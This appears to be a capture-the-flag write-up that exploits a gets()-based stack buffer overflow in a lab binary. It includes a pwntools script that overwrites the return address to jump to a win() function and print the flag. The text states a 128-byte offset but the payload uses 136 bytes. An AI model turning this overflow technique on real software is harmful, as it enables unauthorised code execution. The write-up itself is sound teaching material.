This challenge provides us with the binary, so let us begin by printing the objects in the binary with objdump -t:
SYMBOL TABLE:
0000000000000000 l df *ABS* 0000000000000000 crt1.c
0000000000000000 l df *ABS* 0000000000000000 crtstuff.c
0000000000403e60 l O .ctors 0000000000000000 __CTOR_LIST__
0000000000403e70 l O .dtors 0000000000000000 __DTOR_LIST__
0000000000402070 l O .eh_frame 0000000000000000 __EH_FRAME_BEGIN__
0000000000401090 l F .text 0000000000000000 deregister_tm_clones
00000000004010c0 l F .text 0000000000000000 register_tm_clones
0000000000401100 l F .text 0000000000000000 __do_global_dtors_aux
0000000000404020 l O .bss 0000000000000001 completed.2
0000000000404028 l O .bss 0000000000000008 dtor_idx.1
0000000000401190 l F .text 0000000000000000 frame_dummy
0000000000404040 l O .bss 0000000000000030 object.0
0000000000000000 l df *ABS* 0000000000000000 crtstuff.c
0000000000403e68 l O .ctors 0000000000000000 __CTOR_END__
00000000004020d0 l O .eh_frame 0000000000000000 __FRAME_END__
00000000004012b0 l F .text 0000000000000000 __do_global_ctors_aux
0000000000000000 l df *ABS* 0000000000000000 med.c
0000000000000000 l df *ABS* 0000000000000000
0000000000403e80 l O .dynamic 0000000000000000 _DYNAMIC
0000000000402000 l .eh_frame_hdr 0000000000000000 __GNU_EH_FRAME_HDR
0000000000403fd0 l O .got 0000000000000000 _GLOBAL_OFFSET_TABLE_
0000000000000000 F *UND* 0000000000000000 gets
0000000000404008 g O .data 0000000000000000 .hidden __TMC_END__
0000000000403e78 g O .dtors 0000000000000000 .hidden __DTOR_END__
0000000000000000 F *UND* 0000000000000000 puts
0000000000404000 g O .data 0000000000000000 .hidden __dso_handle
0000000000401000 g F .init 0000000000000001 _init
00000000004011d3 g F .text 00000000000000a0 getName
00000000004011bd g F .text 0000000000000016 win
0000000000401050 g .text 0000000000000000 _start
0000000000401066 g F .text 0000000000000024 _start_c
0000000000404008 g .bss 0000000000000000 __bss_start
0000000000401273 g F .text 000000000000002f main
00000000004012f1 g F .fini 0000000000000001 _fini
0000000000404008 g .data 0000000000000000 _edata
0000000000404078 g .bss 0000000000000000 _end
0000000000000000 F *UND* 0000000000000000 __libc_start_main
0000000000404070 g O .bss 0000000000000008 FLAG
As we can see, gets is being used, which means this program is likely vulnerable to a buffer overflow with gets. So, without trying anything else yet, let us see if we can cause a segfault.
python -c "print('a' * 10000)" | ./med
Upon running the command above, we get the following error;
Segmentation fault (core dumped)
Awesome! This means we over-wrote the return address pushed to the stack when calling a function that calls gets, and thus when the function tried to return, it returned to a location that does not exist in the binary, therefore throwing an error. Hence, if we work hard enough, we can tell the function to return to a location we desire (perhaps a part of the binary that prints the flag).
To do this, we need to:
- Determine exactly how many characters are required in our input before we start changing the return address (this is called the offset)
- Find a location that runs the code we want to run (say print the flag)
The first job is easy enough. We know that 10000 characters is too many, so how about 500? That also segfaults. So how about 250? Yep, still segfaults. What about 100? Nope. Runs fine. 128? Yes. 127? Nope! This means that the offset is 128 characters (it is not 127 as there is a new line character, so when we entered 127 characters, there were really 128 characters sent, all of which did not change the return address). So our payload should be 128 random characters followed by our desired address.
To find a location in the code we might want to jump to, we can look at our symbols table again. We see that there is a function called win, and if we look at the assembly for win (with objdump -t);
00000000004011bd <win>:
4011bd: 55 push %rbp
4011be: 48 89 e5 mov %rsp,%rbp
4011c1: 48 8b 05 a8 2e 00 00 mov 0x2ea8(%rip),%rax # 404070 <FLAG>
4011c8: 48 89 c7 mov %rax,%rdi
4011cb: e8 60 fe ff ff call 401030 <puts@plt>
4011d0: 90 nop
4011d1: 5d pop %rbp
4011d2: c3 ret
we can see that it will print the flag. So let us jump to win which is at address 0x004011bd.
The following program does just this
from pwn import *
# Remote
shell = remote('chall.duckctf.com', 30003)
# Local with test flag
#shell = process(['./med', "flag{test flag}"])
winAddress = 0x004011bd
payload = b'a' * 136 + p64(winAddress)
shell.sendline(payload)
shell.interactive()
Running this gives the flag quack{a_simple_return_address_override}.